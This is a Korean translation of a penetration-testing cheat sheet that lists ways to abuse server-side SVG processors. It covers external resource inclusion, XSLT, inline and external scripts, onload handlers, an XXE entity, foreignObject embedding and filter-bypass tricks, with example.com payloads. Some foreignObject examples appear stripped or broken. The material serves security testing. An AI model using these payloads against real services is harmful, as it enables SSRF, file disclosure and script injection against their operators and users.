
서버 측 SVG 프로세서를 악용하기 위한 치트시트입니다.
SVG를 처리하는 호스트는 SVG의 풍부한 기능 세트로 인해 SSRF, LFI, XSS, RCE에 취약할 수 있습니다.
이 모든 방법은 절대 또는 상대 경로가 될 수 있는 URI를 지정합니다. File 및 HTTP 프로토콜을 테스트하는 것이 중요하지만, 구현에 따라 다른 프로토콜(예: PHP 스트림 스킴)도 지원할 수 있으며, javascript: 및 data:도 포함됩니다.
이 문서에는 SVG에서 이 기능을 악용할 수 있는 제가 아는 모든 방법의 목록이 들어 있습니다.
일부 서비스는 입력 형식으로 SVG를 허용하지 않는다고 주장하지만, 약간의 꼼수로 실제로는 허용한다는 점에 유의하세요.
file 명령에는 SVG 매직이 포함되어 있지 않으므로 개별 구현에 달려 있을 가능성이 높습니다.SVG는 <image> 태그를 통해 외부 이미지를 직접 포함할 수 있습니다.
<svg width="200" height="200"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="https://example.com/image.jpg" height="200" width="200"/>
</svg>
이 방법으로 다른 SVG 이미지도 포함할 수 있다는 점에 유의하세요.
<use> 태그SVG는 <use> 태그를 통해 외부 SVG 콘텐츠를 포함할 수 있습니다.
file1.svg:
<svg width="200" height="200"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<use xlink:href="https://example.com/file2.svg#foo"/>
</svg>
file2.svg:
<svg width="200" height="200"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
</svg>
<link>SVG는 HTML과 마찬가지로 <link> 태그를 통해 외부 스타일시트를 포함할 수 있습니다.
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<link xmlns="http://www.w3.org/1999/xhtml" rel="stylesheet" href="http://example.com/style.css" type="text/css"/>
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
</svg>
@include를 통한 CSS 스타일시트<svg xmlns="http://www.w3.org/2000/svg">
<style>
@import url(http://example.com/style.css);
</style>
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
</svg>
<?xml-stylesheet?>를 통한 CSS 스타일시트<?xml-stylesheet href="http://example.com/style.css"?>
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
</svg>
SVG는 <?xml-stylesheet?>를 통해 XSLT 스타일시트를 포함할 수 있습니다. 놀랍게도 이는 Chrome에서 실제로 작동하는 것 같습니다.
<?xml version="1.0" ?>
<?xml-stylesheet href="https://example.com/style.xsl" type="text/xsl" ?>
<svg width="10cm" height="5cm"
xmlns="http://www.w3.org/2000/svg">
<rect x="2cm" y="1cm" width="6cm" height="3cm"/>
</svg>
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns="http://www.w3.org/2000/svg"
xmlns:svg="http://www.w3.org/2000/svg">
<xsl:output
method="xml"
indent="yes"
standalone="no"
doctype-public="-//W3C//DTD SVG 1.1//EN"
doctype-system="http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"
media-type="image/svg" />
<xsl:template match="/svg:svg">
<svg width="10cm" height="5cm"
xmlns="http://www.w3.org/2000/svg">
<rect x="2cm" y="1cm" width="6cm" height="3cm" fill="red"/>
</svg>
</xsl:template>
</xsl:stylesheet>
참고: XSLT의 특성상 xml-stylesheet가 무시되면 입력이 실제로 유효한 SVG 파일일 필요는 없지만, 필터를 우회하는 데 유용합니다.
또한, 저는 XSLT를 배우는 데 관심이 없기 때문에 이 템플릿은 기존의 "이전" 이미지 전체를 새 이미지로 통째로 교체합니다.
SVG는 HTML과 마찬가지로 인라인 자바스크립트를 기본적으로 포함할 수 있습니다.
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<script type="text/javascript">
// <![CDATA[
document.getElementById("foo").setAttribute("fill", "blue");
// ]]>
</script>
</svg>
SVG는 외부 스크립트도 포함할 수 있습니다.
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo" o="foo"/>
<script src="http://example.com/script.js" type="text/javascript"/>
</svg>
SVG는 onload 시 실행되는 인라인 이벤트 핸들러도 가질 수 있습니다.
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo" o="foo"/>
<image xlink:href="https://example.com/foo.jpg" height="200" width="200" onload="document.getElementById('foo').setAttribute('fill', 'blue');"/>
</svg>
핸들러를 애니메이션 및 기타 일부 이벤트에도 바인딩할 수 있습니다. SVG 사양을 읽어보세요.
SVG는 XML이기 때문에 XXE도 가질 수 있습니다:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" [
<!-- an internal subset can be embedded here -->
<!ENTITY xxe SYSTEM "https://example.com/foo.txt">
]>
<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<text x="20" y="35">My &xxe;</text>
</svg>
<foreignObject><foreignObject> 태그는 엄청납니다. SVG에 임의의 (X)HTML을 포함하는 데 사용할 수 있습니다.
예를 들어, iframe을 포함하려면:
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<foreignObject width="500" height="500">
</foreignObject>
</svg>
네트워크 접근이 불가능한 경우(예: 샌드박스) iframe의 대상으로 data URI 또는 javascript URI를 넣을 수 있습니다:
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<foreignObject width="500" height="500">
k
</foreignObject>
</svg>
SVG가 아직 부족하다면 <object> 또는 <embed> 태그를 통해 더 많은 SVG를 포함할 수도 있습니다. 아마 이론적으로는 Flash도 넣을 수 있을 것 같습니다.
또한 다른 XML 네임스페이스에 있기 때문에 svg:script만 제거하는 필터는 html:script(또는 유사한 속성)를 제거하지 못했을 수 있다는 점에 유의하세요.
원한다면 외부 글꼴을 포함하는 것도 가능합니다. CSS와 네이티브 속성 모두를 통해서도 가능할 것 같습니다. 하지만 웹폰트는 핫링크를 방지하기 위한 글꼴 리소스 DRM과 관련된, 제가 정확히 이해하지 못하는 어떤 이유로 CORS를 요구하기 때문에 실제로는 그다지 유용하지 않습니다. 그래도 가끔은 글꼴 엔진 취약점이 있긴 합니다.
SVG 사양의 이 예제는 tref 노드를 사용하여 URI로 텍스트를 참조하는 방법을 보여주지만, 제가 시도한 어떤 뷰어에서도 작동하지 않는 것 같습니다. 이를 지원하는 구현이 있다면 tref의 href에 대해 외부 URI도 지원할 수 있을 것입니다.
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="10cm" height="3cm" viewBox="0 0 1000 300"
xmlns="http://www.w3.org/2000/svg" version="1.1"
xmlns:xlink="http://www.w3.org/1999/xlink">
<defs>
<text id="ReferencedText">
Referenced character data
</text>
</defs>
<desc>Example tref01 - inline vs reference text content</desc>
<text x="100" y="100" font-size="45" fill="blue" >
Inline character data
</text>
<text x="100" y="200" font-size="45" fill="red" >
<tref xlink:href="#ReferencedText"/>
</text>
<!-- Show outline of canvas using 'rect' element -->
<rect x="1" y="1" width="998" height="298"
fill="none" stroke="blue" stroke-width="2" />
</svg>
다른 방법이나 관련 정보/예제를 알고 계시다면 언제든지 issue/PR을 열어주세요.
이 글이 도움이 되었다면 알려주시면 감사하겠습니다! 큰 기쁨이 됩니다.
Copyright 2019 Allan Wirth <[email protected]>.
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.